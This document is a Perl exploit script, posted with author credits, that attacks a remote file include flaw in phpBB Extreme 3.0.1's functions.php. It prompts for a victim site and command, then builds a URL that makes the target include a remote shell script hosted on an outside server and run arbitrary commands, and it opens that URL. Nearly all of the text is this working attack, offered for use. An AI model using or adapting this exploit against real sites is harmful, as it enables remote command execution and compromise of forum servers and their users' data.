Extreme phpBB 3.0.1 (functions.php) Remote File Include Exploit

#&nbsp;(C)&nbsp;xoron # #&nbsp;[Name:&nbsp;phpBB&nbsp;Extreme&nbsp;3.0.1&nbsp;(phpbb_root_path)&nbsp;Remote&nbsp;File&nbsp;Include&nbsp;Exploit&nbsp;] # #&nbsp;[Author:&nbsp;xoron] #&nbsp;[Exploit&nbsp;coded&nbsp;by&nbsp;xoron] # #&nbsp;[Download:&nbsp;http://sourceforge.net/project/showfiles.php?group_id=95900&nbsp;] # #&nbsp;[Tesekkurler:&nbsp;pang0,&nbsp;DJR] #&nbsp; #&nbsp;[POC:&nbsp;/includes/functions.php?phpbb_root_path=http://evilscripts?] # #&nbsp;[Vuln&nbsp;Codes:&nbsp;include_once(&nbsp;$phpbb_root_path&nbsp;.&nbsp;\'./includes/functions_categories_hierarchy.\'&nbsp;.&nbsp;$phpEx&nbsp;);x&nbsp;); # # $rfi&nbsp;=&nbsp;\"functions.php?phpbb_root_path=\";&nbsp; $path&nbsp;=&nbsp;\"/includes/\"; $shell&nbsp;=&nbsp;\"http://pang0.by.ru/shall/pang057.zz?cmd=\"; print&nbsp;\"Language:&nbsp;English&nbsp;//&nbsp;Turkish Plz&nbsp;Select&nbsp;Lang: \";&nbsp;$dil&nbsp;=&nbsp;<STDIN>;&nbsp;chop($dil); if($dil&nbsp;eq&nbsp;\"English\"){ print&nbsp;\"(c)&nbsp;xoron \"; &ex; } elsif($dil&nbsp;eq&nbsp;\"Turkish\"){ print&nbsp;\"Kodlayan&nbsp;xoron \"; &ex; } else&nbsp;{print&nbsp;\"Plz&nbsp;Select&nbsp;Languge \";&nbsp;exit;} sub&nbsp;ex{ $not&nbsp;=&nbsp;\"Victim&nbsp;is&nbsp;Not&nbsp;Vunl. \"&nbsp;and&nbsp;$not_cmd&nbsp;=&nbsp;\"Victim&nbsp;is&nbsp;Vunl&nbsp;but&nbsp;Not&nbsp;doing&nbsp;Exec. \" and&nbsp;$vic&nbsp;=&nbsp;\"Victim&nbsp;Addres?&nbsp;with&nbsp;start&nbsp;http://&nbsp;:\"&nbsp;and&nbsp;$thx&nbsp;=&nbsp;\"Greetz&nbsp;\"&nbsp;and&nbsp;$diz&nbsp;=&nbsp;\"Dictionary?:\"&nbsp;and&nbsp;$komt&nbsp;=&nbsp;\"Command?:\" if&nbsp;$dil&nbsp;eq&nbsp;\"English\"; $not&nbsp;=&nbsp;\"Adreste&nbsp;RFI&nbsp;acigi&nbsp;Yok \"&nbsp;and&nbsp;$not_cmd&nbsp;=&nbsp;\"Adresde&nbsp;Ac?k&nbsp;Var&nbsp;Fakat&nbsp;Kod&nbsp;Calismiyor \" and&nbsp;$vic&nbsp;=&nbsp;\"Ornek&nbsp;Adres&nbsp;http://&nbsp;ile&nbsp;baslayan:\"&nbsp;and&nbsp;$diz&nbsp;=&nbsp;\"Dizin?:&nbsp;\"&nbsp;and&nbsp;$thx&nbsp;=&nbsp;\"Tesekkurler&nbsp;\"&nbsp;and&nbsp;$komt&nbsp;=&nbsp;\"Command?:\" if&nbsp;$dil&nbsp;eq&nbsp;\"Turkish\"; print&nbsp;\"$vic\"; $victim&nbsp;=&nbsp;<STDIN>; chop($victim); print&nbsp;\"$diz\"; $dizn&nbsp;=&nbsp;<STDIN>; chop($dizn); $dizin&nbsp;=&nbsp;$dizn; $dizin&nbsp;=&nbsp;\"/\"&nbsp;if&nbsp;!$dizn; print&nbsp;\"$komt\"; $cmd&nbsp;=&nbsp;<STDIN>; chop($cmd); $cmmd&nbsp;=&nbsp;$cmd; $cmmd&nbsp;=&nbsp;\"dir\"&nbsp;if&nbsp;!$cmd; $site&nbsp;=&nbsp;$victim; $site&nbsp;=&nbsp;\"http://$victim\"&nbsp;if&nbsp;!($victim&nbsp;=~&nbsp;/http/); $acacaz&nbsp;=&nbsp;\"$site$dizin$rfi$shell$cmmd\"; print&nbsp;\"(c)&nbsp;xoron.info&nbsp;-&nbsp;xoron.biz $thx:&nbsp;pang0,&nbsp;chaos,&nbsp;can&nbsp;bjorn \"; sleep&nbsp;3; system(\"start&nbsp;$acacaz\"); } &nbsp;